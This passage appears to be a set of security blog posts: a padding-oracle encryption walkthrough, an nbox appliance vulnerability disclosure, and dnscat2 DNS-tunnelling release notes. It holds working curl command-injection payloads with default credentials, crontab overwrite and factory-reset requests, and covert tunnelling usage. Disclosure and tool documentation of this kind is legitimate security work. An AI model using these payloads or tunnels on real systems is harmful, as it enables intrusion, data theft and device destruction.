    For example, if the string is hello world! and the blocksize is 16, we have to add 4 bytes, so the string becomes hello world!\x04\x04\x04\x04. If the string is an exact multiple of the block length, we add a block afterwards with nothing but padding (so this is a test!!, because it's 16 bytes, becomes this is a test!!\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10, for example (assume the blocksize is 16, which will will throughout).

    Once we have a string, P, we need to generate the ciphertext, C from it. And here's how that happens...

    Overview

    After writing everything below, I realized that it's a bit hard to follow. Math, etc. So I'm going to start by summarizing the steps before diving more deeply into all the details. Good luck!

    To encrypt arbitrary text with a padding oracle...

    • Select a string, P, that you want to generate ciphertext, C, for
    • Pad the string to be a multiple of the blocksize, using appropriate padding, then split it into blocks numbered from 1 to N
    • Generate a block of random data (CN - ultimately, the final block of ciphertext)
    • For each block of plaintext, starting with the last one...
      • Create a two-block string of ciphertext, C', by combining an empty block (00000...) with the most recently generated ciphertext block (Cn+1) (or the random one if it's the first round)
      • Change the last byte of the empty block until the padding errors go away, then use math (see below for way more detail) to set the last byte to 2 and change the second-last byte till it works. Then change the last two bytes to 3 and figure out the third-last, fourth-last, etc.
      • After determining the full block, XOR it with the plaintext block Pn to create Cn
      • Repeat the above process for each block (prepend an empty block to the new ciphertext block, calculate it, etc)

    To put that in English: each block of ciphertext decrypts to an unknown value, then is XOR'd with the previous block of ciphertext. By carefully selecting the previous block, we can control what the next block decrypts to. Even if the next block decrypts to a bunch of garbage, it's still being XOR'd to a value that we control, and can therefore be set to anything we want.

    A quick note about the IV

    In CBC mode, the IV - initialization vector - sort of acts as a ciphertext block that comes before the first block in terms of XOR'ing. Sort of an elusive "zeroeth" block, it's not actually decrypted; instead, it's XOR'd against the first real block after decrypting to create P1. Because it's used to set P1, it's calculated exactly the same as every other block we're going to talk about, except the final block, CN, which is random.

    If we don't have control of the IV - which is pretty common - then we can't control the first block of plaintext, P1, in any meaningful way. We can still calculate the full plaintext we want, it's just going to have a block of garbage before it.

    Throughout this post, just think of the IV another block of ciphertext; we'll even call it C0 from time to time. C0 is used to generate P1 (and there's no such thing as P0).

    Generate a fake block

    The "last" block of ciphertext, CN, is generated first. Normally you'd just pick a random blocksize-length string and move on. But you can also have some fun with it! The rest of this section is just a little playing, and is totally tangential to the point; feel free to skip to the next section if you just want the meat.

    So yeah, interesting tangential fact: the final ciphertext block, CN can be any arbitrary string of blocksize bytes. All 'A's? No problem. A message to somebody? No problem. By default, Poracle simply randomizes it. I assume other tools do as well. But it's interesting that we can generate arbitrary plaintext!

    Let's have some fun:

    • Algorithm = "AES-256-CBC"
    • Key = c086e08ad8ee0ebe7c2320099cfec9eea9a346a108570a4f6494cfe7c2a30ee1
    • IV = 78228d4760a3675aa08d47694f88f639
    • Ciphertext = "IS THIS SECRET??"

    The ciphertext is ASCII!? Is that even possible?? It is! Let's try to decrypt it:

      2.3.0 :001 > require 'openssl'
       => true
    
      2.3.0 :002 > c = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
       => #<OpenSSL::Cipher::Cipher:0x00000001de2578>
    
      2.3.0 :003 > c.decrypt
       => #<OpenSSL::Cipher::Cipher:0x00000001de2578>
    
      2.3.0 :004 > c.key = ['c086e08ad8ee0ebe7c2320099cfec9eea9a346a108570a4f6494cfe7c2a30ee1'].pack('H*')
       => "\xC0\x86\xE0\x8A\xD8\xEE\x0E\xBE|# \t\x9C\xFE\xC9\xEE\xA9\xA3F\xA1\bW\nOd\x94\xCF\xE7\xC2\xA3\x0E\xE1" 
    
      2.3.0 :005 > c.iv = ['78228d4760a3675aa08d47694f88f639'].pack('H*')
       => "x\"\x8DG`\xA3gZ\xA0\x8DGiO\x88\xF69" 
    
      2.3.0 :006 > c.update("IS THIS SECRET??") + c.final()
       => "NO, NOT SECRET!" 
    
    

    It's ciphertext that looks like ASCII ("IS THIS SECRET??") that decrypts to more ASCII ("NO, NOT SECRET!"). How's that even work!?

    We'll see shortly why this works, but fundamentally: we can arbitrarily choose the last block (I chose ASCII) for padding-oracle-based encryption. The previous blocks - in this case, the IV - is what we actually have to determine. Change that IV, and this won't work anymore.

    Calculate a block of ciphertext

    Okay, we've created the last block of ciphertext, CN. Now we want to create the second-last block, CN-1. This is where it starts to get complicated. If you can follow this sub-section, everything else is easy! :)

    Let's start by making a new ciphertext string, C'. Just like in decrypting, C' is a custom-generated ciphertext string that we're going to send to the oracle. It's made up of two blocks:

    • C'1 is the block we're trying to determine; we set it to all zeroes for now (though the value doesn't actually matter)
    • C'2 is the previously generated block of ciphertext (on the first round, it's CN, the block we randomly generated; on ensuing rounds, it's Cn+1 - the block after the one we're trying to crack).

    I know that's confusing, but let's push forward and look at how we generate a C' block and it should all become clear.

    Imagine the string:

      C' = 00000000000000000000000000000000 || CN
                    ^^^ CN-1 ^^^               
    

    Keep in mind that CN is randomly chosen. We don't know - and can't know - what C'2 decrypts to, but we'll call it P'2. We do know something, though - after it's decrypted to something, it's XOR'd with the previous block of ciphertext (C'1), which we control. Then the padding's checked. Whether or not the padding is correct or incorrect depends wholly on C'1! That means by carefully adjusting C'1, we can find a string that generates correct padding for P'2.

    Because the only things that influence P'2 are the encryption function, E(), and the previous ciphertext block, C'1, we can set it to anything we want without ever seeing it! And once we find a value for C' that decrypts to the P'2 we want, we have everything we need to create a CN-1 that generates the PN we want!

    So we create a string like this:

      00000000000000000000000000000000 41414141414141414141414141414141
            ^^^ C'1 / CN-1 ^^^                  ^^^ C'2 / CN ^^^
    

    The block of zeroes is the block we're trying to figure out (it's going to be CN-1), and the block of 41's is the block of arbitrary/random data (CN).

    We send that to the server, for example, like this (this is on Poracle's RemoteTestServer.rb app, with a random key and blank IV - you should be able to just download and run the server, though you might have to run gem install sinatra):

    • http://localhost:20222/decrypt/0000000000000000000000000000000041414141414141414141414141414141

    We're almost certainly going to get a padding error returned, just like in decryption (there's a 1/256 chance it's going to be right). So we change the last byte of block C'1 until we stop getting padding errors:

    • http://localhost:20222/decrypt/0000000000000000000000000000000141414141414141414141414141414141
    • http://localhost:20222/decrypt/0000000000000000000000000000000241414141414141414141414141414141
    • http://localhost:20222/decrypt/0000000000000000000000000000000341414141414141414141414141414141
    • http://localhost:20222/decrypt/0000000000000000000000000000000441414141414141414141414141414141
    • ...

    And eventually, you'll get a success:

    $ for i in `seq 0 255`; do
    URL=`printf "http://localhost:20222/decrypt/000000000000000000000000000000%02x41414141414141414141414141414141" $i`
    echo $URL
    curl "$URL"
    echo ''
    done
    
    http://localhost:20222/decrypt/0000000000000000000000000000000041414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/0000000000000000000000000000000141414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/0000000000000000000000000000000241414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/0000000000000000000000000000000341414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/0000000000000000000000000000000441414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/0000000000000000000000000000000541414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/0000000000000000000000000000000641414141414141414141414141414141
    Success!
    http://localhost:20222/decrypt/0000000000000000000000000000000741414141414141414141414141414141
    Fail!
    ...
    

    We actually found the valid encoding really early this time! When C'1 ends with 06, the last byte of P'2, decrypts to 01. That means if we want the last byte of the generated plaintext (P'2) to be 02, we simply have to XOR the value by 01 (to set it to 00), then by 02 (to set it to 02). 06 ⊕ 01 ⊕ 02 = 05. Therefore, if we set the last byte of C'1 to 05, we know that the last byte of P'2 will be 02, and we can start bruteforcing the second-last byte:

    $ for i in `seq 0 255`; do
    URL=`printf "http://localhost:20222/decrypt/0000000000000000000000000000%02x0541414141414141414141414141414141" $i`
    echo $URL
    curl "$URL"
    echo ''
    done
    
    http://localhost:20222/decrypt/0000000000000000000000000000000541414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/0000000000000000000000000000010541414141414141414141414141414141
    Fail!
    ...
    http://localhost:20222/decrypt/0000000000000000000000000000350541414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/0000000000000000000000000000360541414141414141414141414141414141
    Success!
    ...
    

    So now we know that when C'N-1 ends with 3605, P'2 ends with 0202. We'll go one more step: if we change C'1 such that P'2 ends with 0303, we can start working on the third-last character in C'1. 36 ⊕ 02 ⊕ 03 = 37, and 05 ⊕ 02 ⊕ 03 = 04 (we XOR by 2 to set the values to 0, then by 3 to set it to 3):

    $ for i in `seq 0 255`; do
    URL=`printf "http://localhost:20222/decrypt/00000000000000000000000000%02x370441414141414141414141414141414141" $i`
    echo $URL
    curl "$URL"
    echo ''
    done
    
    ...
    http://localhost:20222/decrypt/000000000000000000000000006b370441414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/000000000000000000000000006c370441414141414141414141414141414141
    Success!
    ...
    

    So now, when C'1 ends with 6c3704, P'2 ends with 030303.

    We can go on and on, but I automated it using Poracle and determined that the final value for C'1 that works is 12435417b15e3d7552810313da7f2417

    $ curl 'http://localhost:20222/decrypt/12435417b15e3d7552810313da7f241741414141414141414141414141414141'
    Success!
    

    That means that when C'1 is 12435417b15e3d7552810313da7f2417, P'2 is 10101010101010101010101010101010 (a full block of padding).

    We can once again use XOR to remove 101010... from C'1, giving us: 02534407a14e2d6542911303ca6f3407. That means that when C'1 equals 02534407a14e2d6542911303ca6f3407), P'2 is 00000000000000000000000000000000. Now we can XOR it with whatever we want to set it to an arbitrary value!

    Let's say we want the last block to decrypt to 0102030405060708090a0b0c0d0e0f (15 bytes). We:

    • Add one byte of padding: 0102030405060708090a0b0c0d0e0f01
    • XOR C'1 (02534407a14e2d6542911303ca6f3407) with 0102030405060708090a0b0c0d0e0f01 => 03514703a4482a6d4b9b180fc7613b06
    • Append the final block, CN, to create C: 03514703a4482a6d4b9b180fc7613b0641414141414141414141414141414141
    • Send it to the server to be decrypted...
    $ curl 'http://localhost:20222/decrypt/03514703a4482a6d4b9b180fc7613b0641414141414141414141414141414141'
    Success
    

    And, if you actually calculate it with the key I'm using, the final plaintext string P' is c49f1fdcd1cd93daf4e79a18637c98d80102030405060708090a0b0c0d0e0f.

    (The block of garbage is a result of being unable to control the IV)

    Calculating the next block of ciphertext

    So now, where have we gotten ourselves?

    We have values for CN-1 (calculated) and CN (arbitrarily chosen). How do we calculate CN-2?

    This is actually pretty easy. We generate ourselves a two-block string again, C'. Once again, C'1 is what we're trying to bruteforce, and is normally set to all 00's. But this time, C'2 is CN-1 - the ciphertext we just generated.

    Let's take a new C' of:

    000000000000000000000000000000000 3514703a4482a6d4b9b180fc7613b06
            ^^^ C'1 / CN-2 ^^^                 ^^^ C'2 / CN-1 ^^^
    

    We can once again determine the last byte of C'1 that will cause the last character of P'2 to be valid padding (01):

    $ for i in `seq 0 255`; do
    URL=`printf "http://localhost:20222/decrypt/000000000000000000000000000000%02x3514703a4482a6d4b9b180fc7613b06" $i`
    echo $URL
    curl "$URL"
    echo ''
    done
    ...
    http://localhost:20222/decrypt/000000000000000000000000000000313514703a4482a6d4b9b180fc7613b06
    Fail!
    http://localhost:20222/decrypt/000000000000000000000000000000323514703a4482a6d4b9b180fc7613b06
    Fail!
    http://localhost:20222/decrypt/000000000000000000000000000000333514703a4482a6d4b9b180fc7613b06
    Success!
    ...
    

    ...and so on, just like before. When this block is done, move on to the previous, and previous, and so on, till you get to the first block of P. By then, you've determined all the values for C1 up to CN-1, and you have your specially generated CN with whatever value you want. Thus, you have the whole string!

    So to put it in another way, we calculate:

    • CN = random / arbitrary
    • CN-1 = calculated from CN combined with PN
    • CN-2 = calculated from CN-1 combined with PN-1
    • CN-3 = calculated from CN-2 combined with PN-2
    • ...
    • C1 = calculated from C2 combined with P2
    • C0 (the IV) = calculated from C1 combined with P1

    So as you can see, each block is based on the next ciphertext block and the next plaintext block.

    Conclusion

    Well, that's about all I can say about using a padding oracle vulnerability to encrypt arbitrary data.

    If anything is unclear, please let me know! And, you can see a working implementation in Poracle.rb.

    Got any RCEs?

    Security is a boomin’, and so there are many different appliances to protect your network. Some of them do very little to protect, some of them open new holes in your network.

    In line with best practice, many Security teams capture all network traffic using a variety of solutions, some closed, some open source. Once the traffic is stored, it can be used to detect badness, or just examine traffic patterns on corporate assets.

    One of these open source options is NTOP, which of course has an appliance version, called nbox recorder.  It goes without saying, if this traffic data were to be exposed, the consequences could be catastrophic. Consider stored credentials, authentication data, PII, internal data leakage...
    pcap_tee.png
    PCAP or it didn't happen

    You can either buy a ready-to-go appliance or with some drudge work you can build your own. Just get a license for nbox and just put it into a Linux box, they are nice like that providing all the repositories and the steps are simple and easy to follow. Just spin up an Ubuntu VM and run:


    wget http://apt.ntop.org/14.04/all/apt-ntop.deb
    sudo dpkg -i apt-ntop.deb
    sudo apt-get clean all
    sudo apt-get update
    sudo apt-get install -y pfring nprobe ntopng ntopng-data n2disk cento nbox





    BOOM! You are ready to go. Now you have a nbox recorder ready to be used. And abused!
    The default credentials are nbox/nbox and it does use Basic Auth to be accessed.

    Before I continue, imagine that you have this machine capturing all the traffic of your network. Listening to all your corporate communications or production traffic and storing them on disk. How bad would it be if an attacker gets full access to it? Take a minute to think about it.


    nervs.gif
    Uh-oh...
    This level of exposure caught my eye, and I wanted to verify that having one of these sitting in your network does not make you more exposed. Unfortunately, I found several issues that could have been catastrophic with a malicious intent.

    I do believe in the responsible disclosure process, however after repeatedly notifying both ntop and MITRE, these issues were not given high priority nor visibility. The following table details the timeline around my disclosure communications: 

    Disclosure Timeline

    12/27/2014 - Sent to ntop details about some nbox vulnerabilities discovered in version 2.0
    01/15/2015 - Asked ntop for an update about the vulnerabilities sent
    01/16/2015 - Requested by ntop the details again, stating they may have been fixed
    01/18/2015 - Sent for a second time the vulnerabilities details. Mentioned to request CVEs
    05/24/2015 - Asked ntop for an update about the vulnerabilities sent and to request CVEs
    01/06/2016 - Noticed new nbox version is out (2.3) and found more vulnerabilities. Old vulnerabilities are fixed. Sent ntop an email about new issues and to request CVEs
    01/06/2016 - Quick answer ignoring my request for CVEs and just asking for vulnerabilities details.
    01/28/2016 - Sent request for CVEs to MITRE, submitting a full report with all the issues and steps to reproduce.
    02/17/2016 - Asked MITRE for an update on the issues submitted.
    02/17/2016 - Reply from MITRE: “Your request is outside the scope of CVE's published priorities. As such, it will not be assigned a CVE-ID by MITRE or another CVE CNA at this time.”

    07/10/2016 - Noticed new nbox version (2.5) with partial fixes for some vulnerabilities in the previous (2.3) version

    The ntop team initially refused to comment and silently fixed the bugs. MITRE then said this wasn't severe enough to warrant a CVE. As such, I have now chosen to highlight the issues here in an effort to have them remediated. I again want to highlight that I take this process very seriously, but after consulting with multiple other individuals, I feel that both the ntop team and MITRE have left me no other responsible options.
    neotrain1.jpg
    Here comes the paintrain!

    *Replace NTOP-BOX with the IP address of your appliance (presuming that you already logged in). Note that most of the RCEs are wrapped in sudo so it makes the pwnage much more interesting:


    RCE: POST against https://NTOP-BOX/ntop-bin/write_conf_users.cgi with parameter cmd=touch /tmp/HACK

    curl -sk --user nbox:nbox --data 'cmd=touch /tmp/HACK' 'https://NTOP-BOX/ntop-bin/write_conf_users.cgi'


    RCE: POST against https://NTOP-BOX/ntop-bin/rrd_net_graph.cgi with parameters interface=;touch /tmp/HACK;


    curl -sk --user nbox:nbox --data 'interface=;touch /tmp/HACK;' 'https://NTOP-BOX/ntop-bin/rrd_net_graph.cgi'


    RCE (Wrapped in sudo): GET https://NTOP-BOX/ntop-bin/pcap_upload.cgi?dir=|touch%20/tmp/HACK&pcap=pcap


    curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/pcap_upload.cgi?dir=|touch%20/tmp/HACK&pcap=pcap'


    RCE (Wrapped in sudo): GET https://NTOP-BOX/ntop-bin/sudowrapper.cgi?script=adm_storage_info.cgi&params=P%22|whoami%3E%20%22/tmp/HACK%22|echo%20%22


    curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/sudowrapper.cgi?script=adm_storage_info.cgi&params=P%22|whoami%3E%20%22/tmp/HACK%22|echo%20%22'

    RCE: POST against https://NTOP-BOX/ntop-bin/do_mergecap.cgi with parameters opt=Merge&base_dir=/tmp&out_dir=/tmp/DOESNTEXIST;touch /tmp/HACK;exit%200

    curl -sk --user nbox:nbox --data 'opt=Merge&base_dir=/tmp&out_dir=/tmp/DOESNTEXIST;touch /tmp/HACK;exit 0' 'https://NTOP-BOX/ntop-bin/do_mergecap.cgi'

    There are some other interesting things, for example, it was possible to have a persistent XSS by rewriting crontab with a XSS payload on it, but they fixed it in 2.5. However the crontab overwrite (Wrapped in sudo) is still possible:

    GET https://NTOP-BOX/ntop-bin/do_crontab.cgi?act_cron=COMMANDS%20TO%20GO%20IN%20CRON

    curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/do_crontab.cgi?act_cron=COMMANDS%20TO%20GO%20IN%20CRON'

    The last one is a CSRF that leaves the machine fried, by resetting the machine completely:
    GET https://NTOP-BOX/ntop-bin/do_factory_reset.cgi

    curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/do_factory_reset.cgi'


    To make things easier, I created a Vagrantfile with provisioning so you can have your own nbox appliance and test my findings or give it a shot. There is more stuff to be found, trust me :)


    And you can run the checker.sh to check for all the above attacks. Pull requests are welcome if you find more!



    Screen Shot 2016-07-26 at 10.00.27.png





    nodding.gif





    (The issues were found originally in nbox 2.3 and confirmed in nbox 2.5)

    Modules for metasploit and BeEF will come soon. I hope this time the issues are not just silently patched...

    If you have any questions or feedback, hit me up in twitter (@javutin)!

    Have a nice day!


    Humble Hacking Bundle from No Starch Press

    No Starch Press is teaming up with Humble Bundle again to raise money for the EFF, the Electronic Frontier Foundation. Pay $15.00 to help support the EFF and receive a bundle of thirteen eBook titles.
    Some of the titles are: Hacking: The Art of Exploitation, Hacking the XBox, Automate the Boring Stuff with Python, Python Crash Course, Practical Malware and The Linux Command Line.

    Any amount gets you four titles and a $15.00 donation gets you all 13. You decide how much goes to EFF, No Starch or Humble Bundle.

    Details are at https://www.humblebundle.com/books/no-starch-hacking-books

    dnscat2 0.05: with tunnels!

    Greetings, and I hope you're all having a great holiday!

    My Christmas present to you, the community, is dnscat2 version 0.05!

    Some of you will remember that I recently gave a talk at the SANS Hackfest Summit. At the talk, I mentioned some ideas for future plans. That's when Ed jumped on the stage and took a survey: which feature did the audience want most?

    The winner? Tunneling TCP via a dnscat. So now you have it! Tunneling: Phase 1. :)

    Info and downloads.

    High-level

    There isn't a ton to say about this feature, so this post won't be particularly long. I'll give a quick overview of how it works, how to use it, go into some quick implementation details, and, finally, talk about my future plans.

    On a high level, this works exactly like ssh with the -L argument: when you set up a port forward in a dnscat2 session, the dnscat2 server will listen on a specified port. Say, port 2222. When a connection arrives on that port, the connection will be sent - via the dnscat2 session and out the dnscat2 client - to a specified server.

    That's pretty much all there is to it. The user chooses which ports to listen on, and which server/port to connect to, and all connections are forwarded via the tunnel.

    Let's look at how to use it!

    Usage

    Tunneling must be used within a dnscat2 session. So first you need one of those, no special options required:

    (server)
    
    # ruby ./dnscat2.rb
    New window created: 0
    
    [...]
    
    dnscat2>
    
    (client)
    
    $ ./dnscat --dns="server=localhost,port=53"
    Creating DNS driver:
     domain = (null)
     host   = 0.0.0.0
     port   = 53
     type   = TXT,CNAME,MX
     server = localhost
    
    Encrypted session established! For added security, please verify the server also displays this string:
    
    Encode Surfs Taking Spiced Finer Sonny
    
    Session established!
    

    We, of course, take the opportunity to validate the six words - "Encode Surfs Taking Spiced Finer Sonny" - to make sure nobody is performing a man-in-the-middle attack against us (considering this is directly to localhost, it's probably okay :) ).

    Once you have a session set up, you want to tell the session to listen with the listen command:

    New window created: 1
    Session 1 security: ENCRYPTED BUT *NOT* VALIDATED
    For added security, please ensure the client displays the same string:
    
    >> Encode Surfs Taking Spiced Finer Sonny
    
    dnscat2> session -i 1
    [...]
    dnscat2> listen 8080 www.google.com:80
    Listening on 0.0.0.0:8080, sending connections to www.google.com:80
    

    Now the dnscat2 server is listening on port 8080. It'll continue listening on that port until the session closes.

    The dnscat2 client, however, has no idea what's happening yet! The client doesn't know what's happening until it's actually told to connect to something with a TUNNEL_CONNECT message (which will be discussed later).

    Now we can connect to the server on port 8080 and request a page:

    $ echo -ne 'HEAD / HTTP/1.0\r\n\r\n' | nc -vv localhost 8080
    localhost [127.0.0.1] 8080 (http-alt) open
    HTTP/1.0 200 OK
    Date: Thu, 24 Dec 2015 16:28:27 GMT
    Expires: -1
    Cache-Control: private, max-age=0
    [...]
    

    On the server, we see the request going out:

    command (ankh) 1> listen 8080 www.google.com:80
    Listening on 0.0.0.0:8080, sending connections to www.google.com:80
    command (ankh) 1>
    Connection from 127.0.0.1:60480; forwarding to www.google.com:80...
    [Tunnel 0] connection successful!
    [Tunnel 0] closed by the other side: Server closed the connection!
    Connection from 123.151.42.61:48904; forwarding to www.google.com:80...
    

    And you also see very similar messages on the client:

    Got a command: TUNNEL_CONNECT [request] :: request_id 0x0001 :: host www.google.com :: port 80
    [[ WARNING ]] :: [Tunnel 0] connecting to www.google.com:80...
    [[ WARNING ]] :: [Tunnel 0] connected to www.google.com:80!
    [[ WARNING ]] :: [Tunnel 0] connection to www.google.com:80 closed by the server!
    

    That's pretty much all you need to know! One more quick example:

    To forward a ssh connection to an internal machine:

    command (ankh) 1> listen 127.0.0.1:2222 192.168.1.100:22
    

    Followed by ssh -p2222 root@localhost. That'll connect to 192.168.1.100 on port 22, via the dnscat client!

    Stopping a session

    I frequently used auto-commands while testing this feature:

    ruby ./dnscat2.rb --dnsport=53531 --security=open --auto-attach --auto-command="listen 2222 www.javaop.com:22;listen 1234 www.google.ca:1234;listen 4444 localhost:5555" --packet-trace
    

    The problem is that I'd connect with a client, hard-kill it with ctrl-c (so it doesn't tell the server it's gone), then start another one. When the second client connects, the server won't be able to listen anymore:

    Listening on 0.0.0.0:4444, sending connections to localhost:5555
    Sorry, that address:port is already in use: Address already in use - bind(2)
    
    If you kill a session from the root window with the 'kill'
    command, it will free the socket. You can get a list of which
    sockets are being used with the 'tunnels' command!
    
    I realize this is super awkward.. don't worry, it'll get
    better next version! Stay tuned!
    

    If you know which session is the problem, it's pretty easy.. just kill it from the main window (Window 0 - press ctrl-z to get there):

    dnscat2> kill 1
    Session 1 has been sent the kill signal!
    Session 1 killed: No reason given
    

    If you don't know which session it is, you have to go into each session and run tunnels to figure out which one is holding the port open:

    dnscat2> session -i 1
    [...]
    command (ankh) 1> tunnels
    Tunnel listening on 0.0.0.0:2222
    Tunnel listening on 0.0.0.0:1234
    Tunnel listening on 0.0.0.0:4444
    

    Once that's done, you can either use the 'shutdown' command (if the session is still active) or go back to the main window and use the kill command.

    I realize that's super awkward, and I have a plan to fix it. It's going to require some refactoring, though, and it won't be ready for a few more days. And I really wanted to get this release out before Christmas!

    Implementation details

    As usual, the implementation is documented in detail in the protocol.md and command_protocol.md docs.

    Basically, I extended the "command protocol", which is the protocol that's used for commands like upload, download, ping, shell, exec, etc.

    Traditionally, the command protocol was purely the server making a request and the client responding to the request. For example, "download /etc/passwd" "okay, here it is". However, the tunnel protocol works a bit differently, because either side can send a request.

    Unfortunately, the client sending a request to the server, while it was something I'd planned and written code for, had a fatal flaw: there was no way to identify a request as a request, and therefore when the client sent a request to the server it had to rely on some rickety logic to determine if it was a request or not. As a result, I made a tough call: I broke compatibility by adding a one-bit "is a response?" field to the start of request_id - responses now have the left-most bit set of the request_id.

    At any time - presumably when a connection comes in, but we'll see what the future holds! - the server can send a TUNNEL_CONNECT request to the client, which contains a hostname and port number. That tells the client to make a connection to that host:port, which it attempts to do. If the connection is successful, the client responds with a TUNNEL_CONNECT response, which simply contains the tunnel_id.

    From then on, data can be sent in either direction using TUNNEL_DATA requests. This is the first time the client has been able to send a request to the server, and is also the first time a message was defined that doesn't have a response - neither side should (or can) respond to a TUNNEL_DATA message. Which is fine, because we have guaranteed delivery from lower level protocols.

    When either side decides to terminate the connection, it sends a TUNNEL_CLOSE request, which contains a tunnel_id and a reason string.

    One final implementation detail: tunnel_ids are local to a session.

    Future plans

    As I said at the start, I've implemented ssh -L. My next plans are to implement ssh -D (easysauce!) and ssh -R (hardersauce!). I also have some other fun ideas on what I can do with the tunnel protocol, so stay tuned for that. :)

    The tricky part about ssh -R is keeping it secure. The client shouldn't be able to arbitrarily forward connections via the server - the server should be able to handle malicious clients securely, at least by default. Therefore, it's going to require some extra planning and architecting!

    Conclusion

    And yeah, that's pretty much it! As always, if you like this blog or the work I'm doing on dnscat2, you can support me on Patreon! Seriously, I have no ads or monetization on my site, and I spend more money on hosting password lists than I make off it, so if you wanna be awesome and help out, I really, really appreciate it! :)

    And as always, I'm happy to answer questions or take feature requests! You're welcome to email me, reply to this blog, or file an issue on Github!

    dnscat2: now with crypto!

    Hey everybody,

    Live from the SANS Pentest Summit, I'm excited to announce the latest beta release of dnscat2: 0.04! Besides some minor cleanups and UI improvements, there is one serious improvement: all dnscat2 sessions are now encrypted by default!

    Read on for some user information, then some implementation details for those who are interested! For all the REALLY gory information, check out the protocol doc!

    Tell me what's new!

    By default, when you start a dnscat2 client, it now performs a key exchange with the server, and uses a derived session key to encrypt all traffic. This has the huge advantage that passive surveillance and IDS and such will no longer be able to see your traffic. But the disadvantage is that it's vulnerable to a man-in-the-middle attack - assuming somebody takes the time and effort to perform a man-in-the-middle attack against dnscat2, which would be awesome but seems unlikely. :)

    By default, all connections are encrypted, and the server will refuse to allow cleartext connections. If you start the server with --security=open (or run set security=open), then the client decides the security level - including cleartext.

    If you pass the server a --secret string (see below), then the server will require clients to authenticate using the same --secret value. That can be turned off by using --security=open or --security=encrypted (or the equivalent set commands).

    Let's look at the man-in-the-middle protection...

    Short authentication strings

    First, by default, a short authentication string is displayed on both the client and the server. Short authentication strings, inspired by ZRTP and Silent Circle, are a visual way to tell if you're the victim of a man-in-the-middle attack.

    Essentially, when a new connection is created, the user has to manually match the short authentication strings on the client and the server. If they're the same, then it's a legit connection. Here's what it looks like on the client:

    Encrypted session established! For added security, please verify the server also displays this string:
    
    Tort Hither Harold Motive Nuns Unwrap
    

    And the server:

    New window created: 1
    Session 1 security: ENCRYPTED BUT *NOT* VALIDATED
    For added security, please ensure the client displays the same string:
    
    >> Tort Hither Harold Motive Nuns Unwrap
    

    There are 256 different possible words, so six words gives 48 bits of protection. While a 48-bit key can eventually be bruteforced, in this case it has to be done in real time, which is exceedingly unlikely.

    Authentication

    Alternatively, a pre-shared secret can be used instead of a short authentication string. When you start the server, you pass in a --secret value, such as --secret=pineapple. Clients with the same secret will create an authenticator string based on the password and the cryptographic keys, and send it to the server, encrypted, after the key exchange. Clients that use the wrong key will be summarily rejected.

    Details on how this is implemented are below.

    How stealthy is it?

    To be perfectly honest: not completely.

    The key exchange is pretty obvious. A 512-bit value has to be sent via DNS, and a 512-bit response has to come back. That's pretty big, and stands out.

    After that, every packet has an unencrypted 40-bit (5-byte) header and an unencrypted 16-bit (2-byte) nonce. The header contains three bytes that don't really change, and the nonce is incremental. Any system that knows to look for dnscat2 will be able to find that.

    It's conceivable that I could make this more stealthy, but anybody who's already trying to detect dnscat2 traffic will be able to update the signatures that they would have had to write anyway, so it becomes a cat-and-mouse game.

    Of course, that doesn't stop people from patching things. :)

    The plus side, however, is that none of your data leaks! And somebody would have to be specifically looking for dnscat2 traffic to recognize it.

    What are the hidden costs?

    Encrypted packets have 64 bits (8 bytes) of extra overhead: a 16-bit (two-byte) nonce and a 48-bit (six-byte) signature on each packet. Since DNS packets have between 200 and 250 bytes of payload space, that means we lose ~4% of our potential bandwidth.

    Additionally, there's a key exchange packet and potentially an authentication packet. That's two extra roundtrips over a fairly slow protocol.

    Other than that, not much changes, really. The encryption/decryption/signing/validation are super fast, and it uses a stream cipher so the length of the messages don't change.

    How do I turn it off?

    The server always supports crypto; if you don't WANT crypto, you'll have to manually hack the server or use a version of dnscat2 server <=0.03. But you'll have to manually turn off encryption in the client; otherwise, the connection fail.

    Speaking of turning off encryption in the client: you can compile without encryption by using make nocrypto. You can also disable encryption at runtime with dnscat2 --no-encryption. On Visual Studio, you'll have to define "NO_ENCRYPTION". Note that the server, by default, won't allow either of those to connect unless you start it with --security=open.

    Give me some technical details!

    Your best bet if you're REALLY curious is to check out the protocol doc, where I document the protocol in full.

    But I'll summarize it here. :)

    The client starts a session by initiating a key exchange with the server. Both sides generate a random, 256-bit private key, then derive a public key using Elliptic Curve Diffie Hellman (ECDH). The client sends the public key to the server, the server sends a public key to the client, and they both agree on a shared secret.

    That shared secret is hashed with a number of different values to derive purpose-specific keys - the client encryption key, the server encryption key, the client signing key, the server signing key, etc.

    Once the keys are agreed upon, all packets are encrypted and signed. The encryption is salsa20 and uses one of the derived keys as well as an incremental nonce. After being encrypted, the encrypted data, the nonce, and the packet header are signed using SHA3, but truncated to 48 bits (6 bytes). 48 bits isn't very long for a signature, but space is at an extreme premium and for most attacks it would have to be broken in real time.

    As an aside: I really wanted to encrypt the header instead of just signing it, but because of protocol limitations, that's simply not possible (because I have no way of knowing which packets belong to which session, the session_id has to be plaintext).

    Immediately after the key exchange, the client optionally sends an authenticator over the encrypted session. The authenticator is based on a pre-shared secret (passed on the commandline) that the client and server pre-arrange in some way. That secret is hashed with both public keys and the secret (derived) key, as well as a different static string on the client and server. The client sends their authenticator to the server, and the server sends their authenticator to the client. In that way, both sides verify each other without revealing anything.

    If the client doesn't send the authenticator, then a short authentication string is generated. It's based on a very similar hash to the authenticator, except without the pre-shared secret. The first 6 bytes are converted into words using a list of 256 English words, and are displayed on the screen. It's up to the user to verify them.

